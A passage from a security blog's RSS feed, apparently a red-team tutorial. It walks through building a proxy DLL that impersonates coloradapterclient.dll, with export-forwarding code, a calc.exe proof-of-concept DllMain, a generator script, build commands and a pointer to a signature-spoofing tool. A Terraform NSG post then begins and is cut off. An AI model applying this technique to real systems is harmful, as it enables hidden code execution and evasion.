<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">#pragma</span><span style="--shiki-light:#6F42C1;--shiki-dark:#D19A66"> comment</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#6F42C1;--shiki-dark:#D19A66">linker</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">, </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"/export:ModernColorSetGDILutFromHDC=C:</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">\\</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">Windows</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">\\</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">System32</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">\\</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">coloradapterclient.ModernColorSetGDILutFromHDC,@3"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">#pragma</span><span style="--shiki-light:#6F42C1;--shiki-dark:#D19A66"> comment</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#6F42C1;--shiki-dark:#D19A66">linker</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">, </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"/export:ModernColorSetLut=C:</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">\\</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">Windows</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">\\</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">System32</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">\\</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">coloradapterclient.ModernColorSetLut,@4"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">#pragma</span><span style="--shiki-light:#6F42C1;--shiki-dark:#D19A66"> comment</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#6F42C1;--shiki-dark:#D19A66">linker</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">, </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"/export:ModernColorSetMatrix=C:</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">\\</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">Windows</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">\\</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">System32</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">\\</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">coloradapterclient.ModernColorSetMatrix,@5"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">#pragma</span><span style="--shiki-light:#6F42C1;--shiki-dark:#D19A66"> comment</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#6F42C1;--shiki-dark:#D19A66">linker</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">, </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"/export:ModernColorSetMatrixFromHDC=C:</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">\\</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">Windows</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">\\</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">System32</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">\\</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">coloradapterclient.ModernColorSetMatrixFromHDC,@6"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">BOOL APIENTRY </span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">DllMain</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75"> HMODULE </span><span style="--shiki-light:#E36209;--shiki-light-font-style:inherit;--shiki-dark:#E06C75;--shiki-dark-font-style:italic">hModule</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">,</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">                       DWORD  </span><span style="--shiki-light:#E36209;--shiki-light-font-style:inherit;--shiki-dark:#E06C75;--shiki-dark-font-style:italic">ul_reason_for_call</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">,</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">                       LPVOID lpReserved</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">                     )</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">{</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">    HANDLE threadHandle </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> NULL</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">;</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">    switch</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (ul_reason_for_call)</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">    {</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">    case</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> DLL_PROCESS_ATTACH:</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">    {</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">        LPCSTR command </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">=</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> "calc.exe"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">;</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">        WinExec</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(command, </span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">0</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">);</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">        break</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">;</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">    }</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">    case</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> DLL_THREAD_ATTACH:</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">    case</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> DLL_THREAD_DETACH:</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">    case</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> DLL_PROCESS_DETACH:</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">        break</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">;</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">    }</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">    return</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> TRUE</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">;</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">}</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>The <code>pragma comment</code> lines at the beginning are enough to do some DLL Proxying.
However I did not succeed to use it and compile it with Golang. But, in <code>C</code> it is working very well.</p>
<h3><code>.def</code> files</h3>
<p><code>.def</code> files can be used to declare exported functions.
Once transformed in <code>.exp</code> files, it is possible to use it to create DLL Proxying from Golang code.</p>
<p>I used the following script in order to generate the file automatically.</p>
<div class="language-python line-numbers-mode" data-highlighter="shiki" data-ext="python" data-title="python" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">import</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> pefile</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">target_location </span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">=</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> "C:</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">\\\\</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">Windows</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">\\\\</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">System32</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">\\\\</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">coloradapterclient.dll"</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">location_without_dll </span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">=</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> "."</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#61AFEF">join</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(target_location.</span><span style="--shiki-light:#24292E;--shiki-dark:#61AFEF">split</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"."</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)[:</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">-</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">1</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">])</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">local_location </span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">=</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> "C:</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">\\</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">Windows</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">\\</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">System32</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">\\</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">coloradapterclient.dll"</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">dll </span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">=</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> pefile.</span><span style="--shiki-light:#24292E;--shiki-dark:#61AFEF">PE</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(local_location)</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">print</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"EXPORTS"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">for</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> export </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">in</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> dll.</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">DIRECTORY_ENTRY_EXPORT</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">.symbols:</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">    if</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> export.name:</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">        print</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">'</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">{}</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">\"</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">{}</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">.</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">{}</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">\"</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> @</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">{}</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">'</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#61AFEF">format</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(export.name.</span><span style="--shiki-light:#24292E;--shiki-dark:#61AFEF">decode</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(), location_without_dll, export.name.</span><span style="--shiki-light:#24292E;--shiki-dark:#61AFEF">decode</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(), export.ordinal))</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>It can be ran like this :</p>
<div class="language-powershell line-numbers-mode" data-highlighter="shiki" data-ext="powershell" data-title="powershell" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">PS C:\Users\Auditor\Desktop\goStager</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">&gt;</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2"> python.exe</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> .\genDef</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">-</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">coloradaptater.py </span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">|</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2"> out-file</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> .\coloradapterclient.def </span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">-</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">Encoding </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">default</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><p>It created the following file :</p>
<div class="language-bash line-numbers-mode" data-highlighter="shiki" data-ext="bash" data-title="bash" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">EXPORTS</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">ModernColorGetGDILutFromHDC</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">=</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"C:</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">\\</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">Windows</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">\\</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">System32</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">\\</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">coloradapterclient.ModernColorGetGDILutFromHDC"</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF"> @1</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">ModernColorSetGDILut</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">=</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"C:</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">\\</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">Windows</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">\\</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">System32</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">\\</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">coloradapterclient.ModernColorSetGDILut"</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF"> @2</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">ModernColorSetGDILutFromHDC</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">=</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"C:</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">\\</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">Windows</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">\\</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">System32</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">\\</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">coloradapterclient.ModernColorSetGDILutFromHDC"</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF"> @3</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">ModernColorSetLut</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">=</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"C:</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">\\</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">Windows</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">\\</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">System32</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">\\</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">coloradapterclient.ModernColorSetLut"</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF"> @4</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">ModernColorSetMatrix</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">=</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"C:</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">\\</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">Windows</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">\\</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">System32</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">\\</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">coloradapterclient.ModernColorSetMatrix"</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF"> @5</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">ModernColorSetMatrixFromHDC</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">=</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"C:</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">\\</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">Windows</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">\\</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">System32</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">\\</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">coloradapterclient.ModernColorSetMatrixFromHDC"</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF"> @6</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>The following <code>.def</code> file can be converted to an <code>.exp</code> file like so :</p>
<div class="language-powershell line-numbers-mode" data-highlighter="shiki" data-ext="powershell" data-title="powershell" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">PS C:\Users\Auditor\Desktop\goStager</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> dlltool </span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">--</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">input</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">-</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">def .\coloradapterclient.def </span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">--</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">output</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">-</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">exp coloradapterclient.exp</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><p>The <code>.exp</code> can be used during the compilation.</p>
<h2>Create the <code>Golang</code> code</h2>
<p>TO WRITE</p>
<h2>Use <code>Golang</code> with <code>C</code> code to produce a DLL</h2>
<p>TO WRITE</p>
<h2>Compile the binary</h2>
<p>The final binary can then be compiled with the <code>go</code> binary :</p>
<div class="language-powershell line-numbers-mode" data-highlighter="shiki" data-ext="powershell" data-title="powershell" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">$</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> go build </span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">-</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">buildmode</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">=</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">c</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">-</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">shared </span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">-</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">ldflags </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">'-w -s -H=windowsgui -extldflags=-Wl,C:/Users/Auditor/Desktop/Repository/goStager/coloradapterclient.exp'</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">o </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"coloradapterclient.dll"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> .</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><h2>Sign the binary</h2>
<p>Microsoft tools can be used in order to sign the binary.
Also the <code>carboncopy</code> (<a href="https://github.com/paranoidninja/CarbonCopy" target="_blank" rel="noopener noreferrer">https://github.com/paranoidninja/CarbonCopy</a>) python script can be used to do so.</p>
]]></content:encoded>
    </item>
    <item>
      <title>String and set comparaison in azurerm NSG with Terraform</title>
      <link>https://blog.hophouse.fr/posts/Terraform-azurerm-NSG-set_and_string_comparaison.html</link>
      <guid>https://blog.hophouse.fr/posts/Terraform-azurerm-NSG-set_and_string_comparaison.html</guid>
      <source url="https://blog.hophouse.fr/rss.xml">String and set comparaison in azurerm NSG with Terraform</source>
      <description>NSG - Network Security Group Network Security Group are object part of the Azure Environment playing a crucial role to filter network flow either on a subnet or on NIC of a mach...</description>
      <category>IAC</category>
      <pubDate>Fri, 28 Jun 2024 00:00:00 GMT</pubDate>
      <content:encoded><![CDATA[
<p>Network Security Group are object part of the Azure Environment playing a crucial role to filter network flow either on a subnet or on NIC of a machine. It allows granularity and can be seen as Access Control List (ACL).</p>
<h2>Long story short - Take away</h2>
<blockquote>
<p>In order to represent in Terraform for <code>hashicorp/azurerm</code> in version <code>3.109.0</code> and bellow :</p>
<ul>
<li>An empty set : prefer the usage of <code>toset(null)</code> instead of <code>[]</code>.</li>
<li>An empty/null string : prefer the usage of <code>tostring(null)</code> instead of <code>""</code>.</li>
</ul>
</blockquote>
<h2>Details</h2>
<p>When using a NSG rule object <code>azurerm_network_security_rule</code>, the source and address of a filtering rule can be set with 2 variables.</p>
<p>These variables are the <code>prefix</code> and <code>prefixes</code> where <code>prefix</code> expect a string containing a CIDR or a tag (<code>*</code>, <code>VirtualNetwork</code>, <code>Internet</code>, etc.) and <code>prefixes</code> expect a set of CIDR string.</p>
<p>It should be noted that <code>prefixes</code> does not handle tags.</p>
<p>Exemple of code to set rule based on a list of rules :</p>
<div class="language-terraform line-numbers-mode" data-highlighter="shiki" data-ext="terraform" data-title="terraform" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#E5C07B">resource</span><span style="--shiki-light:#005CC5;--shiki-dark:#E06C75"> "azurerm_network_security_rule"</span><span style="--shiki-light:#005CC5;--shiki-dark:#E06C75"> "security_rule"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> {</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">  for_each</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">                     =</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> { </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">for</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75"> rule</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD"> in</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75"> var</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">list_nsg_rules</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF"> :</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75"> rule</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">name</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD"> =&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75"> rule</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> }</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">  name</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">                         =</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> each</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">value</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">name</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">  priority</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">                     =</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> each</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">value</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">priority</span></span>
